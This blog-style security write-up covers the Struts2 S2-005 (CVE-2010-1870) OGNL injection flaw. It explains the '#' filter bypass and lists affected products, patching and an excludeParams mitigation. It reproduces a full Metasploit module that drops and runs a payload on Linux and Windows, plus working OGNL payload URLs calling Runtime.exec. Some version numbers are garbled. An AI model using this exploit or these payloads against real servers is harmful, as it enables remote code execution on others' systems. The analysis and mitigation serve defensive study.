struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution

catalog

. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix

1. Description

struts2漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)，struts2会将http的每个参数名解析为ongl语句执行(可理解为java代码)。ongl表达式通过#来访问struts的对象，struts框架通过过滤#字符防止安全问题，然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制，对于S2-003漏洞，官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补，但是安全配置被绕过再次导致了漏洞，攻击者可以利用OGNL表达式讲这2个选项打开，S2-003的修补方案把自己上了一个锁，但是把锁钥匙给插在了锁头上
XWork是一个命令模式框架，用于支持Struts 2及其他应用  
在Atlassian Fisheye，Crucible和其他产品中使用的Struts 2.0.0至2.1.8.1版本中的Xwork中的OGNL表达式赋值功能使用许可的白名单，远程攻击者可以借助

. #context
. #_memberAccess
. #root
. #this
. #_typeResolver
. #_classResolver
. #_traceEvaluations
. #_lastEvaluation
. #_keepLastEvaluation和其他的OGNL上下文变量

以此来修改服务器端对象，并绕过ParameterInterceptors中的"#"保护机制

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
http://cve.scap.org.cn/CVE-2010-1870.html
http://www.securityfocus.com/bid/41592/info

2. Effected Scope

VMWare vCenter Orchestrator 4.1
VMWare vCenter Orchestrator 4.0
OpenSymphony XWork 2.1.
OpenSymphony XWork 2.1
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
Cisco Unified Contact Center Enterprise
Atlassian Fisheye 2.3.
Atlassian Fisheye 2.2.
Atlassian Crucible 2.3.
Atlassian Crucible 2.2.
Apache Software Foundation Struts 2.1. .
Apache Software Foundation Struts 2.1.
Apache Software Foundation Struts 2.1.
Apache Software Foundation Struts 2.1
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0. .
Apache Software Foundation Struts 2.0. .
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3

3. Exploit Analysis

##
# $Id: struts_code_exec.rb  -- ::09Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::CmdStagerTFTP
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apache Struts < 2.2.0 Remote Command Execution',
            'Description'    => %q{
                    This module exploits a remote command execution vulnerability in
                Apache Struts versions < 2.2.. This issue is caused by a failure to properly
                handle unicode characters in OGNL extensive expressions passed to the web server.

                    By sending a specially crafted request to the Struts application it is possible to
                bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
                Bypassing this restriction allows for the execution of arbitrary Java code.
            },
            'Author'         =>
                [
                    'bannedit', # metasploit module
                    'Meder Kydyraliev', # original public exploit
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13584 $',
            'References'     =>
                [
                    [ 'CVE', '2010-1870'],
                    [ 'OSVDB', ''],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
                ],
            'Platform'      => [ 'win', 'linux'],
            'Privileged'     => true,
            'Targets'        =>
                [
                    ['Windows Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'win'
                        }
                    ],
                    ['Linux Universal',
                        {
                                'Arch' => ARCH_X86,
                                'Platform' => 'linux'
                        }
                    ],
                ],
            'DisclosureDate' => 'Jul 13 2010',
            'DefaultTarget' => ))

            register_options(
                [
                    Opt::RPORT(),
                    OptString.new('URI', [ false, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', nil ]),
                    OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
                ], self.class)
    end

    def execute_command(cmd, opts = {})
        uri =  Rex::Text::uri_encode(datastore['URI'])
        var_a = rand_text_alpha_lower()
        var_b = rand_text_alpha_lower()
        var_c = rand_text_alpha_lower()
        var_d = rand_text_alpha_lower()
        var_e = rand_text_alpha_lower()

        uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
        uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
        uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
        uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
        uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
        puts uri
        vprint_status("Attemping to execute: #{cmd}")

        resp = send_request_raw({
            'uri'     => uri,
            'version' => '1.1',
            'method'  => 'GET',
        }, )
    end

    def windows_stager
        exe_fname = rand_text_alphanumeric(+rand()) + ".exe"

        print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
        execute_cmdstager({ :temp => '.'})
        @payload_exe = payload_exe

        print_status("Attempting to execute the payload...")
        execute_command(@payload_exe)
    end

    def linux_stager
        cmds = "/bin/sh@-c@echo LINE | tee FILE"
        exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
        base64 = Rex::Text.encode_base64(exe)
        base64.gsub!(/\=/, "\\u003d")
        file = rand_text_alphanumeric(+rand())

        execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
        cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
        base64.each_line do |line|
            line.chomp!
            cmd = cmds
            cmd.gsub!(/LINE/, line)
            execute_command(cmds)
        end

        execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
        execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
        execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

        execute_command("/bin/sh@-c@/tmp/#{file}")
        @payload_exe = "/tmp/" + file
    end

    def on_new_session(client)
        if target['Platform'] == 'linux'
            print_status("deleting #{@payload_exe} payload file")
            execute_command("/bin/sh@-c@rm #{@payload_exe}")
        else
            print_status("Windows does not allow running executables to be deleted")
            print_status("delete the #{@payload_exe} file manually after migrating")
        end
    end

    def exploit
        if not datastore['CMD'].empty?
            print_status("Executing user supplied command")
            execute_command(datastore['CMD'])
            return
        end

        case target['Platform']
            when 'linux'
                linux_stager
            when 'win'
                windows_stager
            else
                raise RuntimeError, 'Unsupported target platform!'
        end

        handler
    end
end

Relevant Link:

http://downloads.securityfocus.com/vulnerabilities/exploits/41592.rb

4. Principle Of Vulnerability

XWork通过getters/setters方法从HTTP的参数中获取对应action的名称，这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL的处理方式如下

user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的，它的参数是用户可控的，由HTTP参数传入。OGNL的功能较为强大，远程执行代码也正是利用了它的功能

. Method calling: foo()
. Static method calling: @java.lang.System@exit()
. Constructor calling: new MyClass()
. Ability to work with context variables: #foo = new MyClass()
. And more...  

由于参数完全是用户可控的，所以XWork出于安全的目的，增加了两个方法用以阻止代码执行

. OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)
. SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)  

但这两个方法可以被覆盖，从而导致代码执行

#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java.lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')

ParametersInterceptor是不允许参数名称中有#的，因为OGNL中的许多预定义变量也是以#表示的

. #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.
. #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
. #root
. #this
. #_typeResolver
. #_classResolver
. #_traceEvaluations
. #_lastEvaluation
. #_keepLastEvaluation

可是攻击者在过去找到了这样的方法（bug编号XW-641）：使用\u0023来代替#，这是#的十六进制编码，从而构造出可以远程执行的攻击payload

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))= 

对于(1)(2)这样的ongl表达式，ongl会把1当作一个ongl表达式先执行。对于url参数user=(1)(2)，struts2只对user参数做了过滤，并没有限制参数值，从而导致漏洞的产生，即POC中综合了2种技术，()执行和#编码绕过技术

Relevant Link:

http://book.51cto.com/art/201204/330087.htm

5. Patch Fix

0x1: upgrade struts2

As of XWork 2.2.1, now being an integral part of the Struts 2.2.1 release, the ParameterInterceptor was changed to provide a very strict whitelist mechanism for acceptable, non malicious parameter names. Therefore parameters other than simple property navigation paths will be ignored.
It is strongly recommended to upgrade to Struts 2.2.1, which contains the corrected XWork library.

//访问POC
http://localhost:8080/crazyit/tag1?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))= 

升级后的struts2加入了拦截器防御逻辑

七月 ,  :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!
七月 ,  :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [(aaa)(('\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))] is too long, allowed length is []
七月 ,  :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti me()))] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!

0x2: Mitigation Workaround

Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters
The following additional interceptor-ref configuration, should mitigate the problem when applied correctly:

<interceptor-ref name="params">
    <param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>

我们知道，struts2是一个高度结构化的组件式的MVC开发框架，这种架构带来了开发的复杂性，但同时也使安全人员利用struts2原生提供的"串行Hook点"向框架中加入"安全过滤器"，通过在"安全过滤器"中实现"应用层/代码层WAF"的目的
以上的代码本质上是利用了struts2的"拦截器栈"对HTTP请求进行了过滤，使用这种方案，需要对当前网站所配置使用的拦截器栈加入这段参数过滤配置

For this configuration to work correctly, it has to be applied to any params interceptor ref in any stack an application is using.
E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is once for defaultStack and twice for paramsPrepareParamsStack

0x3: 手工修复

如果要采取手工修复的方式，需要进行以下步骤

. 修改目标struts2应用的struts.xml文件，在对应的Action中添加新的拦截器，或拦截器栈，或者直接设置成默认拦截器
. 向目标struts2应用的src源代码中添加新的拦截器实现类
. 重启目标struts2应用进程，使拦截器生效

Relevant Link:

http://struts.apache.org/docs/s2-005.html

Copyright (c) 2015 Little5ann All rights reserved